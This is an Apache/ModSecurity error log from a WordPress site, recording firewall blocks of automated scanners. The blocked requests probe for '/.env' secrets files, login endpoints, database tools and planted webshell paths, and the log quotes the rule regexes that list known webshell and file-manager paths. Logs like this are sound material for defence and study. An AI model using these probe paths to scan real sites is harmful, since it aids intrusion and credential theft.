[Sun Nov 23 09:00:54.416959 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.239:48541] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/src/Decode/HTML/sitemaps.php"] [unique_id "aSJcxgdvEgJm2n2cDmpmdAAAAFc"]
[Sun Nov 23 09:00:54.923991 2025] [:error] [pid 38740:tid 38803] [client 85.203.21.160:55055] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/library/SimplePie/Net/"] [unique_id "aSJcxg13QPZSi6O8umXdLAAAAIc"]
[Sun Nov 23 11:25:57.854383 2025] [:error] [pid 38740:tid 38810] [client 20.199.41.85:44434] [client 20.199.41.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSJ-xQ13QPZSi6O8umUGBAAAAI4"]
[Sun Nov 23 11:30:36.182046 2025] [:error] [pid 38739:tid 38778] [client 20.199.41.85:53270] [client 20.199.41.85] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSJ_3AdvEgJm2n2cDmqlswAAAEk"]
[Sun Nov 23 16:04:57.805728 2025] [:error] [pid 38740:tid 38801] [client 139.59.246.131:42628] [client 139.59.246.131] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSLAKQ13QPZSi6O8umVaxwAAAIU"]
[Sun Nov 23 16:40:31.845531 2025] [:error] [pid 38740:tid 38817] [client 209.38.121.185:63823] [client 209.38.121.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.121.185, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSLIfw13QPZSi6O8umWJIQAAAJU"]
[Sun Nov 23 16:40:31.885617 2025] [proxy_fcgi:error] [pid 38740:tid 38817] [client 209.38.121.185:63823] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:11.955679 2025] [proxy_fcgi:error] [pid 44652:tid 44725] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.088628 2025] [proxy_fcgi:error] [pid 44652:tid 44720] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.237617 2025] [proxy_fcgi:error] [pid 44652:tid 44716] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.382641 2025] [proxy_fcgi:error] [pid 44652:tid 44728] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.509647 2025] [proxy_fcgi:error] [pid 44652:tid 44730] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.649814 2025] [proxy_fcgi:error] [pid 44652:tid 44726] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.765604 2025] [proxy_fcgi:error] [pid 44652:tid 44729] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:12.922631 2025] [proxy_fcgi:error] [pid 44652:tid 44714] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:13.140599 2025] [proxy_fcgi:error] [pid 44652:tid 44730] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:13.614194 2025] [proxy_fcgi:error] [pid 44652:tid 44727] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:13.896628 2025] [proxy_fcgi:error] [pid 44652:tid 44720] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.004868 2025] [proxy_fcgi:error] [pid 44652:tid 44717] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.110732 2025] [proxy_fcgi:error] [pid 44652:tid 44716] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.238259 2025] [proxy_fcgi:error] [pid 44652:tid 44719] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.407606 2025] [proxy_fcgi:error] [pid 44652:tid 44724] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.549637 2025] [proxy_fcgi:error] [pid 44652:tid 44716] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.743624 2025] [proxy_fcgi:error] [pid 44652:tid 44720] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:14.911608 2025] [proxy_fcgi:error] [pid 44652:tid 44718] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:15.064501 2025] [proxy_fcgi:error] [pid 44652:tid 44716] [client 140.99.1.13:29159] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:18.848339 2025] [:error] [pid 44652:tid 44714] [client 140.99.1.13:29159] [client 140.99.1.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLKFtiQFwsyXQDhwyDBlgAAAQg"]
[Sun Nov 23 16:47:19.565728 2025] [:error] [pid 38740:tid 38797] [client 140.99.1.62:45619] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLKFw13QPZSi6O8umWs0AAAAIE"]
[Sun Nov 23 16:47:20.268617 2025] [proxy_fcgi:error] [pid 38824:tid 38843] [client 140.99.1.46:31283] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:20.855958 2025] [:error] [pid 38824:tid 38842] [client 140.99.1.46:31283] [client 140.99.1.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLKGE8WZjXLvbHTHPfHDgAAAM8"]
[Sun Nov 23 16:47:21.390673 2025] [proxy_fcgi:error] [pid 17534:tid 17556] [client 140.99.1.14:50557] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:21.488611 2025] [proxy_fcgi:error] [pid 17534:tid 17551] [client 140.99.1.14:50557] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:21.611310 2025] [:error] [pid 17534:tid 17553] [client 140.99.1.14:50557] [client 140.99.1.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLKGXPX9nXBrhgM8sw15gAAAdE"]
[Sun Nov 23 16:47:21.914610 2025] [proxy_fcgi:error] [pid 17534:tid 17553] [client 140.99.1.37:44339] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 16:47:22.729887 2025] [:error] [pid 17534:tid 17552] [client 140.99.1.37:44339] [client 140.99.1.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLKGnPX9nXBrhgM8sw2CwAAAdA"]
[Sun Nov 23 16:47:23.019202 2025] [:error] [pid 14602:tid 14621] [client 140.99.1.44:24311] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLKGx-I77jdD81pU-mrkgAAAUA"]
[Sun Nov 23 16:47:34.509263 2025] [:error] [pid 16066:tid 16084] [client 140.99.1.70:42755] [client 140.99.1.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSLKJvq-c47Q5mW5E9GAlAAAAY8"]
[Sun Nov 23 16:47:55.487596 2025] [:error] [pid 38740:tid 38796] [client 140.99.1.71:26805] [client 140.99.1.71] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/"] [unique_id "aSLKOw13QPZSi6O8umWvkgAAAIA"]
[Sun Nov 23 22:12:46.388597 2025] [proxy_fcgi:error] [pid 8036:tid 8067] [client 167.71.203.246:57020] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 00:03:10.293533 2025] [:error] [pid 14602:tid 14621] [client 49.43.107.6:60535] [client 49.43.107.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.107.6, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSMwPh-I77jdD81pU-kFdQAAAUA"]
[Mon Nov 24 00:03:10.307349 2025] [proxy_fcgi:error] [pid 14602:tid 14621] [client 49.43.107.6:60535] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 00:14:01.840315 2025] [proxy_fcgi:error] [pid 8036:tid 8055] [client 178.33.203.43:58230] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 00:14:02.101135 2025] [proxy_fcgi:error] [pid 8036:tid 8070] [client 178.33.203.43:58230] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:46.267388 2025] [proxy_fcgi:error] [pid 1453:tid 1493] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:46.684818 2025] [proxy_fcgi:error] [pid 1453:tid 1484] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:47.038306 2025] [proxy_fcgi:error] [pid 1453:tid 1503] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:47.562469 2025] [proxy_fcgi:error] [pid 1453:tid 1496] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:48.050198 2025] [proxy_fcgi:error] [pid 1453:tid 1502] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:48.528978 2025] [proxy_fcgi:error] [pid 1453:tid 1495] [client 52.236.123.156:58791] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:48.778064 2025] [:error] [pid 1453:tid 1507] [client 52.236.123.156:58791] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSNAGBUBCt7LU0bO_GBKcAAAAJY"]
[Mon Nov 24 01:10:58.852960 2025] [proxy_fcgi:error] [pid 1453:tid 1490] [client 52.236.123.156:64774] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:10:59.632118 2025] [:error] [pid 1453:tid 1492] [client 52.236.123.156:64774] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNAIxUBCt7LU0bO_GBKggAAAIg"]
[Mon Nov 24 01:11:01.238647 2025] [:error] [pid 1453:tid 1505] [client 52.236.123.156:64056] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNAJRUBCt7LU0bO_GBKhQAAAJQ"]
[Mon Nov 24 01:11:07.306391 2025] [:error] [pid 1453:tid 1509] [client 52.236.123.156:49296] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNAKxUBCt7LU0bO_GBKhwAAAJg"]
[Mon Nov 24 01:11:10.205986 2025] [:error] [pid 1589:tid 1610] [client 52.236.123.156:49332] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/g.php"] [unique_id "aSNALoI2fvripjU0Eat3sQAAAVM"]
[Mon Nov 24 01:11:11.812254 2025] [:error] [pid 1589:tid 1612] [client 52.236.123.156:55370] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNAL4I2fvripjU0Eat3sgAAAVU"]
[Mon Nov 24 01:11:15.164633 2025] [:error] [pid 1454:tid 1531] [client 52.236.123.156:55419] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNAM7eh4NH3skJ5n4RwwgAAANM"]
[Mon Nov 24 01:11:17.449669 2025] [:error] [pid 1452:tid 1473] [client 52.236.123.156:15148] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNANRKZkEEyVNVXr_nCcgAAAFA"]
[Mon Nov 24 01:11:23.709467 2025] [:error] [pid 1454:tid 1512] [client 52.236.123.156:14665] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "aSNAO7eh4NH3skJ5n4Rw0wAAAMA"]
[Mon Nov 24 01:11:28.802055 2025] [:error] [pid 1454:tid 1525] [client 52.236.123.156:15098] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNAQLeh4NH3skJ5n4Rw3wAAAM0"]
[Mon Nov 24 01:11:31.778827 2025] [:error] [pid 1452:tid 1458] [client 52.236.123.156:15341] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNAQxKZkEEyVNVXr_nChwAAAEE"]
[Mon Nov 24 01:11:36.122026 2025] [:error] [pid 1454:tid 1521] [client 52.236.123.156:14567] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNASLeh4NH3skJ5n4Rw6wAAAMk"]
[Mon Nov 24 01:11:38.439194 2025] [:error] [pid 1452:tid 1466] [client 52.236.123.156:52211] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSNAShKZkEEyVNVXr_nCkwAAAEk"]
[Mon Nov 24 01:11:40.256682 2025] [:error] [pid 1589:tid 1612] [client 52.236.123.156:57587] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNATII2fvripjU0Eat4DwAAAVU"]
[Mon Nov 24 01:11:44.390458 2025] [:error] [pid 1454:tid 1536] [client 52.236.123.156:51220] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNAULeh4NH3skJ5n4Rw-gAAANg"]
[Mon Nov 24 01:11:47.232859 2025] [:error] [pid 8337:tid 8345] [client 52.236.123.156:14881] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNAU-Smps4S2j95D5h0NgAAAAY"]
[Mon Nov 24 01:11:51.561359 2025] [:error] [pid 1589:tid 1614] [client 52.236.123.156:14343] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminer.php"] [unique_id "aSNAV4I2fvripjU0Eat4HAAAAVc"]
[Mon Nov 24 01:11:58.781115 2025] [:error] [pid 1453:tid 1506] [client 52.236.123.156:54004] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSNAXhUBCt7LU0bO_GBK0wAAAJU"]
[Mon Nov 24 01:12:01.814195 2025] [:error] [pid 1452:tid 1461] [client 52.236.123.156:15324] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSNAYRKZkEEyVNVXr_nCxAAAAEQ"]
[Mon Nov 24 01:12:03.544508 2025] [proxy_fcgi:error] [pid 1452:tid 1473] [client 52.236.123.156:14346] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:03.795836 2025] [:error] [pid 1452:tid 1458] [client 52.236.123.156:14346] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/0.php"] [unique_id "aSNAYxKZkEEyVNVXr_nCyAAAAEE"]
[Mon Nov 24 01:12:08.225102 2025] [:error] [pid 1452:tid 1475] [client 52.236.123.156:52126] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSNAaBKZkEEyVNVXr_nC5QAAAFI"]
[Mon Nov 24 01:12:10.040380 2025] [proxy_fcgi:error] [pid 1589:tid 1591] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:10.311742 2025] [proxy_fcgi:error] [pid 1589:tid 1614] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:10.657381 2025] [proxy_fcgi:error] [pid 1589:tid 1601] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:11.533557 2025] [proxy_fcgi:error] [pid 1589:tid 1592] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:11.803511 2025] [proxy_fcgi:error] [pid 1589:tid 1610] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:12.078989 2025] [proxy_fcgi:error] [pid 1589:tid 1611] [client 52.236.123.156:15317] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:12:12.339906 2025] [:error] [pid 1589:tid 1604] [client 52.236.123.156:15317] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNAbII2fvripjU0Eat4PgAAAU0"]
[Mon Nov 24 01:12:15.974359 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:65287] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNAb-Smps4S2j95D5h0gwAAAAU"]
[Mon Nov 24 01:12:17.740531 2025] [:error] [pid 1589:tid 1615] [client 52.236.123.156:63538] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNAcYI2fvripjU0Eat4RQAAAVg"]
[Mon Nov 24 01:12:20.877320 2025] [:error] [pid 1453:tid 1502] [client 52.236.123.156:63495] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/17.php"] [unique_id "aSNAdBUBCt7LU0bO_GBK7QAAAJE"]
[Mon Nov 24 01:12:23.259284 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:63544] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNAd-Smps4S2j95D5h0rgAAAAU"]
[Mon Nov 24 01:12:25.221603 2025] [:error] [pid 1589:tid 1600] [client 52.236.123.156:49288] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNAeYI2fvripjU0Eat4VQAAAUk"]
